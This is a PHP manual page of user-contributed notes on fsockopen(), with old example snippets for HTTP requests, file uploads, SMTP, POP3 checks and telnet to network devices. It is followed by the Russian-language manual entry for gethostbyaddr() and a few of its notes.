function chkServer($host, $port)
{
    $hostip = @gethostbyname($host); // resloves IP from Hostname returns hostname on failure

    if ($hostip == $host) // if the IP is not resloved
    {
        echo "Server is down or does not exist";
    }
    else
    {
        if (!$x = @fsockopen($hostip, $port, $errno, $errstr, 5)) // attempt to connect
        {
            echo "Server is down";
        }
        else
        {
            echo "Server is up";
            if ($x)
            {
                @fclose($x); //close connection
            }
        }
    }
}
?>
v13+phpnet at it dot teithe dot gr 24-Jan-2007 03:01
The following function performs pop3 authentication. Returns NULL on error, or true/false to indicate username/password matching:

$address is the hostname of the server and $ssl is a boolean that indicates whether an SSL connection is requested.

<?php
function pop3authCheck($username, $password, $address, $ssl)
{
    if ($ssl)
        $uri="ssl://$address:995";
    else
        $uri="tcp://$address:110";

    $fp=fsockopen($uri);

    if (!$fp)
        return(NULL);

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="USER $username\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    if (substr($st, 0, 3)!="+OK")
    {
        fclose($fp);
        return(NULL);
    }

    $st="PASS $password\n";
    if (fwrite($fp, $st)!=strlen($st))
    {
        fclose($fp);
        return(NULL);
    }

    $st=fgets($fp, 512);
    fclose($fp);
    if (substr($st, 0, 3)=="+OK")
        return(true);
    else if (substr($st, 0, 4)=="+ERR")
        return(false);
    else
        return(NULL);
}
?>
Duukkis 27-Feb-2006 05:13
Lots of tries and lots of reading http-headers...

If you want to post $_POST vars and (in this case) one file named userfile to $remote_server and $remote_url.

<?php
        // get the necessary data
        $file_name = $_FILES['userfile']['name'];     // the file
        $tmp_name = $_FILES['userfile']['tmp_name'];     // the file
        $content_type = $_FILES['userfile']['type'];     // the file mime type

        srand((double)microtime()*1000000);
        $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);

        // Build the header
        $header = "POST $remote_url HTTP/1.0\r\n";
        $header .= "Host: $remote_server\r\n";
        $header .= "Content-type: multipart/form-data, boundary=$boundary\r\n";
        // attach post vars
        foreach($_POST AS $index => $value){
            $data .="--$boundary\r\n";
            $data .= "Content-Disposition: form-data; name=\"".$index."\"\r\n";
            $data .= "\r\n".$value."\r\n";
            $data .="--$boundary\r\n";
        }
        // and attach the file
        $data .= "--$boundary\r\n";
        $content_file = join("", file($tmp_name));
        $data .="Content-Disposition: form-data; name=\"userfile\"; filename=\"$file_name\"\r\n";
        $data .= "Content-Type: $content_type\r\n\r\n";
        $data .= "".$content_file."\r\n";
        $data .="--$boundary--\r\n";
        $header .= "Content-length: " . strlen($data) . "\r\n\r\n";
                 // Open the connection
        $fp = fsockopen($remote_server, 80);
        // then just
        fputs($fp, $header.$data);
        fclose($fp);
?>
Kiki_EF 27-Oct-2005 12:20
Additional ICQ status request over proxy
<?php
function icq_uin($uin)
{
    if (! is_numeric($uin))
        return false;
    $proxy_name = 'proxy.mydomain.de';
    $proxy_port = 8080;
    $proxy_user = "";
    $proxy_pass = "";
    $proxy_cont = '';
    $request_url = "http://status.icq.com/online.gif?icq=$uin";

    $proxy_fp = fsockopen($proxy_name, $proxy_port);
    if (!$proxy_fp)
        return false;
    fputs($proxy_fp, "GET $request_url HTTP/1.0\r\nHost: $proxy_name\r\n");
    fputs($proxy_fp, "Proxy-Authorization: Basic ". base64_encode ("$proxy_user:$proxy_pass")."\r\n\r\n");
    while(!feof($proxy_fp)){
        $proxy_cont .= fread($proxy_fp,4096);
    }
    fclose($proxy_fp);
    $proxy_cont = substr($proxy_cont, strpos($proxy_cont,"\r\n\r\n")+4);
    if (strstr($proxy_cont, 'online1'))
        return 'online';
    if (strstr($proxy_cont, 'online0'))
        return 'offline';
    if (strstr($proxy_cont, 'online2'))
        return 'disabled';
}
echo "User is ".icq_uin(123456789012345);
?>

Thanx

[EDIT BY danbrown AT php DOT net: Based on code provided in a note by (rafaelbc AT matrix DOT com DOT br) on 23-MAY-09, which has since been removed.]
robin at pozytron dot com 21-Aug-2005 03:38
I have found, when using fsockopen() and the POST method, that using HTTP/1.1 is VERY significantly slower than HTTP/1.0 (at least for the server I'm querying, an Orion-based server). Also, using cURL tended to be faster than fsockopen(), though only slightly. For example, here was a recent set of data (for the same exact request in each case):

cURL: 4.2sec
fsockopen() HTTP/1.0: 4.9sec
fsockopen() HTTP/1.1: 19.9sec (!)

I'm not sure why this was occurring. Perhaps it has something to do with the Orion server, which I have little experience with. However, it was not a fluke, and I double-checked the code to make sure there were no errors.

EDITORS NOTE: HTTP/1.1 uses persistent connection causing this delay. Use "Connection: close" header to disable it.
richard dot lajaunie at cote-azur dot cci dot fr 19-May-2005 12:10
<?php
/************************************************************
* Author: Richard Lajaunie
* Mail : richard.lajaunie@cote-azur.cci.fr
*
* subject : this script retreive all mac-addresses on all ports
* of a Cisco 3548 Switch by a telnet connection
*
* base on the script by: xbensemhoun at t-systems dot fr
**************************************************************/

if ( array_key_exists(1, $argv) ){
   $cfgServer = $argv[1];
}else{
   echo "ex: 'php test.php 10.0.0.0' \n";
   exit;
}

$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr), $cfgTimeOut);

if(!$usenet){
       echo "Connexion failed\n";
       exit();
}else{
       echo "Connected\n";
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "en\r\n");
       fputs ($usenet, "password\r\n");
       fputs ($usenet, "sh mac-address-table\r\n");
       fputs ($usenet, " "); // this space bar is this for long output

       // this skip non essential text
       $j = 0;
       while ($j<16){
       fgets($usenet, 128);
       $j++;
       }
   stream_set_timeout($usenet, 2); // set the timeout for the fgets
   $j = 0;
       while (!feof($usenet)){
       $ret = fgets($usenet, 128);
       $ret = str_replace("\r", '', $ret);
       $ret = str_replace("\n", "", $ret);
       if  (ereg("FastEthernet", $ret)){
           echo "$ret \n";
       }
       if (ereg('--More--', $ret) ){
           fputs ($usenet, " "); // for following page
       }
       $info = stream_get_meta_data($usenet);
       if ($info['timed_out']) {
           $j++;
       }
       if ($j >2){
           fputs ($usenet, "lo");
           break;
       }
   }
}
echo "End.\r\n";
?>
saul dot dobney at dobney dot com 19-Apr-2005 08:40
If you are using fsockopen to access webpage, but come across a redirect (Location: ) in the header and want to find and follow the redirect as in this snippet:

<?php
while (!feof($fp)) {
   $line=fgets($fp, 1024);
   if (stristr($line,"location:")!="") {
    $redirect=preg_replace("/location:/i","",$line);
   }
}
?>

Then don't forget to <?php $redirect = trim($redirect); ?> before trying to follow this new link as $redirect actually has a \r\n on the end of it and won't give you a valid path in the next iteration otherwise. A six hour bug.

Saul Dobney
konrad dot meyer at gmail dot com 12-Feb-2005 01:34
The documentation example is of a GET request. I have found POST documentation to be lacking, and here's a function to easily simulate submitting form data:

<?php
# $host includes host and path and filename
    # ex: "myserver.com/this/is/path/to/file.php"
# $query is the POST query data
    # ex: "a=thisstring&number=46&string=thatstring
# $others is any extra headers you want to send
    # ex: "Accept-Encoding: compress, gzip\r\n"
function post($host,$query,$others=''){
    $path=explode('/',$host);
    $host=$path[0];
    unset($path[0]);
    $path='/'.(implode('/',$path));
    $post="POST $path HTTP/1.1\r\nHost: $host\r\nContent-type: application/x-www-form-urlencoded\r\n${others}User-Agent: Mozilla 4.0\r\nContent-length: ".strlen($query)."\r\nConnection: close\r\n\r\n$query";
    $h=fsockopen($host,80);
    fwrite($h,$post);
    for($a=0,$r='';!$a;){
        $b=fread($h,8192);
        $r.=$b;
        $a=(($b=='')?1:0);
    }
    fclose($h);
    return $r;
}
?>
edwin at bitstorm dot org 02-Dec-2004 05:50
Here's a function to just fetch the contents behind an URL.

<?php
function fetchURL( $url ) {
    $url_parsed = parse_url($url);
    $host = $url_parsed["host"];
    $port = $url_parsed["port"];
    if ($port==0)
        $port = 80;
    $path = $url_parsed["path"];
    if ($url_parsed["query"] != "")
        $path .= "?".$url_parsed["query"];

    $out = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";

    $fp = fsockopen($host, $port, $errno, $errstr, 30);

    fwrite($fp, $out);
    $body = false;
    while (!feof($fp)) {
        $s = fgets($fp, 1024);
        if ( $body )
            $in .= $s;
        if ( $s == "\r\n" )
            $body = true;
    }

    fclose($fp);

    return $in;
}
?>
michiel at parse dot nl 25-Oct-2004 04:42
The following snippet allows you to retrieve the title of a page.

Great for rewriting auto-url detectors to display the actual title rather then http://...

<?php
echo get_url_title("http://www.php.net/cal.php?id=409");

function get_url_title($url, $timeout = 2)
{
    $url = parse_url($url);

    if(!in_array($url['scheme'],array('','http')))
        return;

    $fp = fsockopen ($url['host'], ($url['port'] > 0 ? $url['port'] : 80), $errno, $errstr, $timeout);
    if (!$fp)
    {
        return;
        // echo "$errstr ($errno)<br>\n";
    }
    else
    {
        fputs ($fp, "GET /".$url['path'].($url['query'] ? '?'.$url['query'] : '')." HTTP/1.0\r\nHost: ".$url['host']."\r\n\r\n");
        $d = '';
        while (!feof($fp))
        {
            $d .= fgets ($fp,2048);

            if(preg_match('~(</head>|<body>|(<title>\s*(.*?)\s*</title>))~i', $d, $m))
                break;
        }
        fclose ($fp);

        return $m[3];
    }
}
?>
jack at jtr dot de 16-Feb-2004 02:05
Here is a function for testing a website/URI for availability:

<?php
    /*
    * @return boolean
    * @param  string $link
    * @desc   ?berpr?ft die angegeben URL auf Erreichbarkeit (HTTP-Code: 200)
    */
    function url_validate( $link )
    {
        $url_parts = @parse_url( $link );

        if ( empty( $url_parts["host"] ) ) return( false );

        if ( !empty( $url_parts["path"] ) )
        {
            $documentpath = $url_parts["path"];
        }
        else
        {
            $documentpath = "/";
        }

        if ( !empty( $url_parts["query"] ) )
        {
            $documentpath .= "?" . $url_parts["query"];
        }

        $host = $url_parts["host"];
        $port = $url_parts["port"];
        // Now (HTTP-)GET $documentpath at $host";

        if (empty( $port ) ) $port = "80";
        $socket = @fsockopen( $host, $port, $errno, $errstr, 30 );
        if (!$socket)
        {
            return(false);
        }
        else
        {
            fwrite ($socket, "HEAD ".$documentpath." HTTP/1.0\r\nHost: $host\r\n\r\n");
            $http_response = fgets( $socket, 22 );

            if ( ereg("200 OK", $http_response, $regs ) )
            {
                return(true);
                fclose( $socket );
            } else
            {
//                echo "HTTP-Response: $http_response<br>";
                return(false);
            }
        }
    }
?>
sir_reality2001 at yahoo dot com 13-Feb-2004 09:45
<?php
// This script is an example of posting multiple files using
// fsockopen.
// The tricky part is making sure the HTTP headers and file boundaries are acceptable to the target webserver.
// This script is for example purposes only and could/should be improved upon.

$host='targethost';
$port=80;
$path='/test/socket/file_upload/receive_files.php';

// the file you want to upload
$file_array[0] = "dingoboy.gif"; // the file
$file_array[1] = "dingoboy2.gif"; // the file
$file_array[2] = "dingoboy3.gif"; // the file
$content_type = "image/gif"; // the file mime type
//$content_type = "text/plain";
//echo "file_array[0]:$file_array[0]<br><br>";

srand((double)microtime()*1000000);
$boundary = "---------------------------".substr(md5(rand(0,32000)),0,10);

$data = "--$boundary";

for($i=0;$i<count($file_array);$i++){
   $content_file = join("", file($file_array[$i]));

   $data.="
Content-Disposition: form-data; name=\"file".($i+1)."\"; filename=\"$file_array[$i]\"
Content-Type: $content_type

$content_file
--$boundary";

}

$data.="--\r\n\r\n";

$msg =
"POST $path HTTP/1.0
Content-Type: multipart/form-data; boundary=$boundary
Content-Length: ".strlen($data)."\r\n\r\n";

$result="";

// open the connection
$f = fsockopen($host, $port);

fputs($f,$msg.$data);

// get the response
while (!feof($f)) $result .= fread($f,32000);

fclose($f);

?>
asalamanca at redcetus dot com 18-Nov-2003 11:27
This is a very fast program for test a form or link (many times).
<?php
$repeat  = 100;  // How many times repeat the test

$timeout = 100;  // Max time for stablish the conection
$size    = 16;   // Bytes will be read (and display). 0 for read all

$server  = '127.0.0.1';            // IP address
$host    = 'www.example.net';             // Domain name
$target  = '/poll/answer.asp';        // Specific program
$referer = 'http://www.example.com/';    // Referer
$port    = 80;

// Setup an array of fields to get with then create the get string
$gets = array ( 'get_field_1' => 'somevalue',
                'get_field_2' => 'somevalue' );

// Setup an array of fields to post with then create the post string
$posts = array ( 'post_field_1' => 'somevalue',
                 'post_field_2' => 'somevalue' );

// That's all. Now the program proccess $repeat times

$method = "GET";
if ( is_array( $gets ) ) {
    $getValues = '?';
    foreach( $gets AS $name => $value ){
        $getValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $getValues = substr( $getValues, 0, -1 );
} else {
    $getValues = '';
}

if ( is_array( $posts ) ) {
    foreach( $posts AS $name => $value ){
        $postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';
    }
    $postValues = substr( $postValues, 0, -1 );
    $method = "POST";
} else {
    $postValues = '';
}

$request  = "$method $target$getValues HTTP/1.1\r\n";
$request .= "Host: $host\r\n";
$request .= 'User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) ';
$request .= "Gecko/20021204\r\n";
$request .= 'Accept: text/xml,application/xml,application/xhtml+xml,';
$request .= 'text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,';
$request .= "image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1\r\n";
$request .= "Accept-Language: en-us, en;q=0.50\r\n";
$request .= "Accept-Encoding: gzip, deflate, compress;q=0.9\r\n";
$request .= "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66\r\n";
$request .= "Keep-Alive: 300\r\n";
$request .= "Connection: keep-alive\r\n";
$request .= "Referer: $referer\r\n";
$request .= "Cache-Control: max-age=0\r\n";

if ( $method == "POST" ) {
    $lenght = strlen( $postValues );
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $request .= "Content-Length: $lenght\r\n";
    $request .= "\r\n";
    $request .= $postValues;
}

for ( $i = 0; $i < $repeat; $i++ ) {
    $socket  = fsockopen( $server, $port, $errno, $errstr, $timeout );
    fputs( $socket, $request );
    if ( $size > 0 ) {
        $ret = fgets( $socket, $size );
    } else {
        $ret = '';
        while ( !feof( $socket ) ) {
            $ret .= fgets( $socket, 4096 );
        }
    }
    fclose( $socket );
    echo "<hr> $i -- $content $ret";
}
?>

Alejandro Salamanca
terminal 23-Oct-2003 12:30
Try this.
Use AUTH when necessary.
Read RFC 821 when having problems.

<?php

    $handle = smtp_connect($smtp_server, 25, 30, 1, 1, 1);
    echo smtp_command($handle, "EHLO $domain\r\n", 1, 1);
    echo smtp_command($handle, "MAIL FROM:<$from_mail>\r\n", 1, 1);
    echo smtp_command($handle, "RCPT TO:<$to_mail>\r\n", 1, 1);
    echo smtp_command($handle, "DATA\r\n", 1, 1);
    echo smtp_command($handle, "$message\r\n.\r\n", 1, 1);
    // don't do it like this - it will hang up
    // echo smtp_command($handle, "$message", 1, 1);
    // echo smtp_command($handle, "\r\n.\r\n", 1, 1);
    echo smtp_command($handle, "QUIT\r\n", 1, 1);
    smtp_close($handle);

    function smtp_connect($host, $port, $timeout=30, $echo_command=False, $echo_response=False, $nl2br=False)
    {
        $errno = 0;
        $errstr = 0;
        if($echo_command)
        {
            if($nl2br) { echo nl2br("CONNECTING TO $host\r\n"); }
            else { echo "CONNECTING TO $host\r\n"; }
        }
        $handle = fsockopen($host, $port, $errno, $errstr, $timeout);
        if(!$handle)
        {
            if($echo_command)
            {
                if($nl2br) { echo nl2br("CONNECTION FAILED\r\n"); }
                else { echo "CONNECTION FAILED\r\n"; }
            }
            return False;
        }
        if($echo_command)
        {
            if($nl2br) { echo nl2br("SUCCESS\r\n"); }
            else { echo "SUCCESS\r\n"; }
        }
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($echo_response)
        {
            if($nl2br) { echo nl2br($response); }
            else { echo $response; }
        }
        return $handle;
    }

    function smtp_command($handle, $command, $echo_command=False, $nl2br=False)
    {
        if($echo_command)
        {
            if($nl2br) { echo nl2br($command); }
            else { echo $command; }
        }
        fputs($handle, $command);
        $response = fgets($handle,1);
        $bytes_left = socket_get_status($handle);
        if ($bytes_left > 0) { $response .= fread($handle, $bytes_left["unread_bytes"]); }
        if($nl2br) { return nl2br($response); }
        else { return $response; }
    }

    function smtp_close($handle)
    {
        fclose($handle);
    }
?>
richardaburton at hotmail dot com 19-Oct-2003 08:29
Improved HTTP/1.1 chunked transfer-encoding example.

The sample code given below by Jack does not function correctly when run against a recent version of Apache (I'm assuming that this did once work, but from the HTTP/1.1 spec I can only assume if it did work it was based mostly on luck).

<?php

$header = "";
$response = "";

// connect
if (!($request=fsockopen('example.com',80,$errno,$errstr))) exit($errstr);
else {
   socket_set_timeout($request,10);
   // send request
   fwrite($request,$post);
   // get header
   do $header.=fread($request,1); while (!preg_match('/\\r\\n\\r\\n$/',$header));
   // check for chunked encoding
   if (preg_match('/Transfer\\-Encoding:\\s+chunked\\r\\n/',$header))
      do {
         $byte = "";
         $chunk_size="";
         do {
            $chunk_size.=$byte;
            $byte=fread($request,1);
         } while ($byte!="\\r");      // till we match the CR
         fread($request, 1);         // also drop off the LF
         $chunk_size=hexdec($chunk_size); // convert to real number
         $response.=fread($request,$chunk_size);
         fread($request,2);          // ditch the CRLF that trails the chunk
      } while ($chunk_size);         // till we reach the 0 length chunk (end marker)
   else {
      // check for specified content length
      if (preg_match('/Content\\-Length:\\s+([0-9]*)\\r\\n/',$header,$matches)) {
         $response=fread($request,$matches[1]);
      } else {
         // not a nice way to do it (may also result in extra CRLF which trails the real content???)
         while (!feof($request)) $response .= fread($request, 4096);
      }
   }
   // close connection
   fclose($request);
}

// do something useful with the response
print($header);
print($response);

?>

Richard.
joe at edwardsconsultants dot com 10-Aug-2003 02:56
just a quick note for users attempting https and thinking they must resort to curl or alternate methods -
you can use fsockopen, just read the docs closely.  basically they are saying to use 'ssl://' for a HTTPS (SSL) web request.

so this would work for authorize.net, and others; even for that paypal IPN - however I think it would be best to leave the site and deal with paypal's form:

<?php
$host = "something.example.com";
$port = 443;
$path = "/the/url/path/file.php"; //or .dll, etc. for authnet, etc.

//you will need to setup an array of fields to post with
//then create the post string
$formdata = array ( "x_field" => "somevalue");
//build the post string
  foreach($formdata AS $key => $val){
    $poststring .= urlencode($key) . "=" . urlencode($val) . "&";
  }
// strip off trailing ampersand
$poststring = substr($poststring, 0, -1);

$fp = fsockopen("ssl://".$host, $port, $errno, $errstr, $timeout = 30);

if(!$fp){
 //error tell us
 echo "$errstr ($errno)\n";

}else{

  //send the server request
  fputs($fp, "POST $path HTTP/1.1\r\n");
  fputs($fp, "Host: $host\r\n");
  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
  fputs($fp, "Content-length: ".strlen($poststring)."\r\n");
  fputs($fp, "Connection: close\r\n\r\n");
  fputs($fp, $poststring . "\r\n\r\n");

  //loop through the response from the server
  while(!feof($fp)) {
    echo fgets($fp, 4096);
  }
  //close fp - we are done with it
  fclose($fp);
}
?>
brage (a t) jeffnappi (d.o.t) commie 10-Jul-2003 02:16
thought you guys may appreciate this function, allows you to pass an array of urls to download and does so simultaneously using non-blocking sockets, then returns the data in an array.

<?php
// function connects to an array of URLS at the same time
// and returns an array of results.

function multiHTTP ($urlArr) {
 $sockets = Array(); // socket array!
 $urlInfo = Array(); // info arr
 $retDone = Array();
 $retData = Array();
 $errno   = Array();
 $errstr  = Array();
 for ($x=0;$x<count($urlArr);$x++) {
  $urlInfo[$x] = parse_url($urlArr[$x]);
  $urlInfo[$x][port] = ($urlInfo[$x][port]) ? $urlInfo[$x][port] : 80;
  $urlInfo[$x][path] = ($urlInfo[$x][path]) ? $urlInfo[$x][path] : "/";
  $sockets[$x] = fsockopen($urlInfo[$x][host], $urlInfo[$x][port],
                           $errno[$x], $errstr[$x], 30);
  socket_set_blocking($sockets[$x],FALSE);
  $query = ($urlInfo[$x][query]) ? "?" . $urlInfo[$x][query] : "";
  fputs($sockets[$x],"GET " . $urlInfo[$x][path] . "$query HTTP/1.0\r\nHost: " .
        $urlInfo[$x][host] . "\r\n\r\n");
 }
 // ok read the data from each one
 $done = false;
 while (!$done) {
  for ($x=0; $x < count($urlArr);$x++) {
   if (!feof($sockets[$x])) {
    if ($retData[$x]) {
     $retData[$x] .= fgets($sockets[$x],128);
    } else {
     $retData[$x] = fgets($sockets[$x],128);
    }
   } else {
    $retDone[$x] = 1;
   }
  }
  $done = (array_sum($retDone) == count($urlArr));
 }
 return $retData;
}
?>
xbensemhoun at t-systems dot fr 25-Jun-2003 02:48
To make a telnet connection with a Cisco router:

<?php
$cfgServer = "nnn.nnn.nnn.nnn";  //IP of your router
$cfgPort    = 23;                //port, 22 if SSH
$cfgTimeOut = 10;

$usenet = fsockopen($cfgServer, $cfgPort, $errno, $errstr, $cfgTimeOut);

if(!$usenet)
        {
        echo "Connexion failed\n";
        exit();
        }
else
        {
        echo "Connected\n<BR>";
        fputs ($usenet, "toto\r\n");
        fputs ($usenet, "en\r\n");
        fputs ($usenet, "tutu\r\n");
        fputs ($usenet, "exit\r\n");
        while (!feof($usenet))
                {
                echo ". ".fgets($usenet, 128)."<BR>\n";
                }
        }
?>

Then you will have:
Connected
. ????????
.
. User Access Verification
.
. Password:
. testXB>en
. Password:
. testXB#exit
.
blazely at removetoemail netspace net au 08-Jun-2003 09:55
Here's a quick function to establish a connection to a web server that will time out if the connection is lost after a user definable amount of time or if the server can't be reached.

Also supports Basic authentication if a username/password is specified. Any improvements or criticisms, please email me! :-)

Returns either a resource ID, an error code or 0 if the server can't be reached at all. Returns -1 in the event that something really wierd happens like a non-standard http response or something. Hope it helps someone.

Cheers,

Ben Blazely

<?php
function connectToURL($addr, $port, $path, $user="", $pass="", $timeout="30")
{
 $urlHandle = fsockopen($addr, $port, $errno, $errstr, $timeout);
 if ($urlHandle)
 {
  socket_set_timeout($urlHandle, $timeout);
  if ($path)
  {
   $urlString = "GET $path HTTP/1.0\r\nHost: $addr\r\nConnection: Keep-Alive\r\nUser-Agent: MyURLGrabber\r\n";
   if ($user)
    $urlString .= "Authorization: Basic ".base64_encode("$user:$pass")."\r\n";
    $urlString .= "\r\n";

    fputs($urlHandle, $urlString);

    $response = fgets($urlHandle);

    if (substr_count($response, "200 OK") > 0)      // Check the status of the link
    {
     $endHeader = false;                     // Strip initial header information
     while ( !$endHeader)
     {
      if (fgets($urlHandle) == "\r\n")
       $endHeader = true;
     }

     return $urlHandle;                      // All OK, return the file handle
    }
    else if (strlen($response) < 15)                // Cope with wierd non standard responses
    {
     fclose($urlHandle);
     return -1;
    }
    else                                            // Cope with a standard error response
    {
     fclose($urlHandle);
     return substr($response,9,3);
    }
   }

   return $urlHandle;
  }
  else
  {
   return 0;
  }
 }
}
?>
Sherif Gayed 29-Jan-2003 10:00
Here is how to connect to the web from behind a proxy server:

<?php
/*************start code**************/
/*your proxy server address*/
$proxy = "192.168.10.1";
/*your proxy server port*/
$port = 8080;
/*the url you want to connect to*/
$url = "http://www.php.net/";
$fp = fsockopen($proxy, $port);
fputs($fp, "GET $url HTTP/1.0\r\nHost: $proxy\r\n\r\n");
while(!feof($fp)){
  $line = fgets($fp, 4000);
  print($line);
}
fclose($fp);
/**************end code**************/
?>
dan at lovepond dot com 17-Dec-2002 01:38
Here is some code to help out abit more with the EOF problem.
I had a problem where I needed to strip out so many lines of server input to get back right data i wanted.

<?php
$port=4000;
$host="localhost";
$message="test";
$status=senddata($host,$port,$message);
print "$status";

function senddata($host,$port,$message) {

#takes in account servers that do not return EOF character
#send data to server and get back input

#function globals
$linenumber="2"; #amount of lines to get rid of before we give input
$lineamount="1"; #amount of lines to read after we give input

$fp = fsockopen("$host", $port, $errno, $errstr, 30);
if (!$fp) {
   echo "$errstr ($errno)";
}
else {
   for ($i = 1; $i < $linenumber+1; $i++) {
      fread ($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { fread($fp, $bytes_left[unread_bytes]); }
   }
   fputs($fp, "$message\r\n");
   for ($i = 1; $i < $lineamount+1; $i++) {
      $status.=fread($fp,1);
      $bytes_left = socket_get_status($fp);
      if ($bytes_left > 0) { $status.=fread($fp, $bytes_left[unread_bytes]); }
   }
   fclose ($fp);
}

return $status;
}

?>
verran at descent-rangers dot com 16-Oct-2002 07:28
I was tearing my hair out for a week trying to figure out how to do this.

If you use fsockopen with a service that doesn't have an EOF, or you try to read beyond EOF or line break, PHP can hang completely.

In my case, I was trying to write a class that talks to Kali servers (www.kali.net) to get a list of people on the chat server. To keep PHP from hanging due to the above, I discovered this:

<?php
    class kali_utils {
        function games_list($kali_server_ip, $kali_server_port) {
            $result = array();
            $fp = fsockopen($kali_server_ip, $kali_server_port, $errno, $error, 30);
            if (!$fp) {
                $result["errno"] = $errno;
                $result["error"] = $error;
            }
            else {
                fputs($fp, "KALIQ");
                $header = fread($fp, 5);
                $bytes_left = socket_get_status($fp);
                if ($bytes_left > 0) {
                    $result["results"] = fread($fp, $bytes_left["unread_bytes"]);
                }
                else {
                    $result["results"] = "";
                }
                fclose($fp);
            }
            return $result;
        }
    }
?>

When I send the request packet, I get a response packet of length 5. Then I call socket_get_status() and use the unread_bytes key from it to know how far to fread from the socket. Works very good.

I've only used this on PHP 4.2.1 so far.
iain at monitormedia dot co dot uk 19-Jul-2002 05:48
Here's how to send an email using SMTP. This includes rudimentary checking on server responses during the process of sending an email. Could be improved by more comprehensive processing of the result codes...or going on to the next mail exchanger when you fail after connecting to the first.

<?php

function another_mail($to,$subject,$headers,$message)
{
 // Could get this from the php ini?
 $from="me@example.com";
 list($me,$mydomain) = split("@",$from);

 // Now look up the mail exchangers for the recipient
 list($user,$domain) = split("@",$to,2);
 if(getmxrr($domain,$mx,$weight) == 0)  return FALSE;

 // Try them in order of lowest weight first
 array_multisort($mx,$weight);
 $success=0;

 foreach($mx as $host) {
  // Open an SMTP connection
  $connection = fsockopen ($host, 25, $errno, $errstr, 1);
  if (!$connection)
    continue;
  $res=fgets($connection,256);
  if(substr($res,0,3) != "220") break;

  // Introduce ourselves
  fputs($connection, "HELO $mydomain\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope from
  fputs($connection, "MAIL FROM: $from\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Envelope to
  fputs($connection, "RCPT TO: $to\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // The message
  fputs($connection, "DATA\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "354") break;

  // Send To:, From:, Subject:, other headers, blank line, message, and finish
  // with a period on its own line.
  fputs($connection, "To: $to\nFrom: $from\nSubject: $subject\n$headers\n\n$message\n.\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "250") break;

  // Say bye bye
  fputs($connection,"QUIT\n");
  $res=fgets($connection,256);
  if(substr($res,0,3) != "221") break;

  // It worked! So break out of the loop which tries all the mail exchangers.
  $success=1;
  break;
 }
 // Debug for if we fall over - uncomment as desired
 // print $success?"Mail sent":"Failure: $res\n";
 if($connection) {
  if($success==0) fputs($connection, "QUIT\n");
  fclose ($connection);
 }
 return $success?TRUE:FALSE;
}

another_mail("recipient@example.com","My Subject","X-mailer: PHP Script\nX-another-header: Whatever","Test email body.\n\nNote if you actually put a period on a line\nby itself, the function will terminate prematurely.\n\nYou will get a partial email sent though.\n");
?>


Получает доменное имя хоста, соответствующее переданному IP-адресу

  • « fsockopen
  • gethostbyname »
  • PHP Manual
  • Сетевые функции
  • Получает доменное имя хоста, соответствующее переданному IP-адресу

gethostbyaddr

(PHP 4, PHP 5, PHP 7, PHP 8)

gethostbyaddr — Получает доменное имя хоста, соответствующее переданному IP-адресу

Описание

gethostbyaddr(string $ip): string|false

Возвращает доменное имя хоста по адресу ip.

Список параметров

ip

IP-адрес хоста

Возвращаемые значения

Возвращает имя хоста в случае успешного выполнения, исходный ip в случае возникновения ошибки, или false в случае ошибочного ввода.

Примеры

Пример #1 Простой пример использования gethostbyaddr()

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);

echo $hostname;
?>

Смотрите также

  • gethostbyname() - Получает IPv4-адрес, соответствующий переданному имени хоста
  • gethostbynamel() - Получает список IPv4-адресов, соответствующих переданному доменному имени хоста

User Contributed Notes

Anonymous 23-Oct-2020 08:41
There is 1 bug in gethostbyaddr_timeout() function that king dot macro at gmail dot com posted in the most important line of all, setting the timeout with socket_set_timeout(). It should be:

@socket_set_timeout($handle, intdiv($timeout_ms, 1000), $timeout_ms % 1000);

I'd also make the $dns parameter last and optional and parse it from /etc/resolve.conf (or something else) if not given.
chris at ocproducts dot com 06-Jun-2019 01:27
This function does respect overrides made in the 'hosts' file, at least on Linux.
Vincent 29-Jan-2019 07:11
I discovered that gethostbyaddr sometimes returned the same host name with some uppercase letters in it and sometimes with all lowercase letters.

example:

d54c34fa1.access.example.com
d54C34FA1.access.example.com

This is probably not the fault of gethostbyaddr, but this can be a problem when comparing or storing, because it will give two entries instead of one.

A simple solution to this is to use strtolower on the host name.
nisha dot com126 at gmail dot com 26-Oct-2017 11:47
gethostbyaddr('10.176.xx.xx') returns IP address only not the host name....

Could you please suggest any solution..
Mark in Sussex 28-Aug-2011 11:21
If you use gethostbyaddr() with a bad IP address then it will send an error message to the error log.
If you don't want your error log file getting too big then first check that the IP address is valid.

In the following example I first check if the IP number starts with a number,
if not then don't use gethostbyaddr('..')

<?php
  $IP = "BadValue.123.123.123";
  if(intval($IP)>0){
    $ServerIP = gethostbyaddr($IP);
  } else {
    $ServerIP = $IP; // A bad address.
  }
?>
james at trnxs dot net 12-Jan-2011 12:45
